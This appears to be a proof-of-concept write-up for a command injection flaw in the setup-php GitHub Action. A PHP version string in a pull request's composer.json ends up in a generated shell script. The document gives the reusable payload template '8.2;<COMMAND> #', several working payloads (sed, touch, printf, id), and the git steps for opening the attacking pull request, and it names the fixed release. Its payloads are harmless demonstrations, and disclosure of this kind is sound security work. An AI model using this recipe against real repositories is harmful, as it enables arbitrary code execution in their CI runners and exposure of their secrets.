
PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.
Command injection in shivammathur/setup-php when the PHP version is loaded from repository controlled files.
Affected:
>= 2.25.0, < 2.37.1
Fixed:
>= 2.37.1
The target repository already has a vulnerable workflow that checks out pull request contents and runs [email protected].
The attacker only changes composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
When setup-php reads the PHP version from composer.json, the injected command is included in the generated shell script and executed.
Result:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
Create a branch from the target repository:
git checkout -b poc-test
Replace the clean composer.json with the PoC version:
cp attacker/composer.json composer.json
Commit and push:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
Open a pull request from poc-test to main.
The Actions run should show that demo-app/.env.example was modified during the setup-php step.
The payload format is:
8.2;<COMMAND> #
Current payload:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
The executed command is:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
To change what the PoC does, replace the command between 8.2; and #.
Create a file:
8.2;touch poc-executed #
Write to a file:
8.2;printf 'poc executed\n' > poc-result.txt #
Print command output:
8.2;id #
Example composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
Upgrade to [email protected] or newer.
The same payload is rejected on the patched version.